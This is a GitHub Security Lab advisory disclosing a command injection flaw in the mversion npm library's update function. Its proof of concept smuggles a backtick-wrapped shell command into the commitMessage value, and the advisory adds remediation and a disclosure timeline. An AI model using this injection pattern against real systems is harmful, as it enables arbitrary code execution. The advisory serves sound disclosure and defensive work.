Summary
The mversion.update
function has a command injection vulnerability. Clients of the mversion library are unlikely to be aware of this, so they might unwittingly write code that contains a vulnerability.
Product
mversion
Tested Version
Commit 765fbb8
Details: Command injection in mversion.update
The following proof-of-concept illustrates the vulnerability. First install mversion and create an empty git repo to run the PoC in:
npm install mversion
git init
Now create a file with the following contents:
var mversion = require('mversion');
var fs = require("fs");
// setting up a bit of environment
fs.writeFileSync("package.json", '{"name": "foo", "version": "1.0.0"}');
mversion.update({
version: 'major',
commitMessage: 'Some commit message for version %s `touch exploit`',
noPrefix: true
}, function (err, data) { })
and run it:
node test.js
Notice that a file named exploit
has been created.
This vulnerability is similar to command injection vulnerabilities that have been found in other Javascript libraries. Here are some examples: CVE-2020-7646, CVE-2020-7614, CVE-2020-7597, CVE-2019-10778, CVE-2019-10776, CVE-2018-16462, CVE-2018-16461, CVE-2018-16460, CVE-2018-13797, CVE-2018-3786, CVE-2018-3772, CVE-2018-3746, CVE-2017-16100, CVE-2017-16042.
Impact
This issue may lead to remote code execution if a client of the library calls the vulnerable method with untrusted input.
Remediation
We recommend not using an API that can interpret a string as a shell command. For example, use child_process.execFile
instead of child_process.exec
.
Coordinated disclosure timeline
2020-05-19: Emailed report to mikaelbre@gmail.com 2020-06-15: Created an issue on their repo. 2020-06-15: They fixed it in v2.0.0.
Credit
This issue was discovered and reported by GitHub Engineer @erik-krogh (Erik Krogh Kristensen).
Contact
You can contact the GHSL team at securitylab@github.com
, please include GHSL-2020-110
in any communication regarding this issue.